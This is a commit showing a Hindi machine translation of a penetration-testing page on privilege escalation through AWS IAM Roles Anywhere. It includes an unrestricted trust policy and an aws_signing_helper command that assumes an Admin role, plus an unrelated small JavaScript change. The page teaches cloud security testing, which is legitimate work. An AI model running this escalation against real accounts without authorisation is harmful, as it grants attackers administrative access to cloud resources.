Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-06-24 14:00:24 +00:00
parent 212a7e2057
commit 26fa81722d
2 changed files with 43 additions and 1 deletions
@@ -0,0 +1,42 @@
# AWS - IAM Roles Anywhere Privesc
{{#include ../../../../banners/hacktricks-training.md}}
AWS IAM RolesAnywhere बाहरी कार्यभार को X.509 प्रमाणपत्रों का उपयोग करके IAM भूमिकाएँ ग्रहण करने की अनुमति देता है। लेकिन जब विश्वास नीतियाँ सही तरीके से सीमित नहीं होती हैं, तो उनका दुरुपयोग किया जा सकता है।
इस नीति में यह निर्धारित करने के लिए कोई प्रतिबंध नहीं है कि कौन सा विश्वास एंकर या प्रमाणपत्र विशेषताएँ अनुमति प्राप्त हैं। परिणामस्वरूप, खाते में किसी भी विश्वास एंकर से जुड़े किसी भी प्रमाणपत्र का उपयोग इस भूमिका को ग्रहण करने के लिए किया जा सकता है।
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
```
प्रिवेस्क के लिए, `aws_signing_helper` की आवश्यकता है https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html से
फिर एक मान्य प्रमाणपत्र का उपयोग करके, हमलावर उच्च विशेषाधिकार भूमिका में प्रवेश कर सकता है
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### संदर्भ
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
{{#include ../../../../banners/hacktricks-training.md}}
+1 -1
View File
@@ -226,7 +226,7 @@
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
} catch (e) {
console.error("Error creating threadId:", e);
alert("Failed to initialise the conversation. Please refresh.");
console.log("Failed to initialise the conversation. Please refresh.");
throw e;
}
}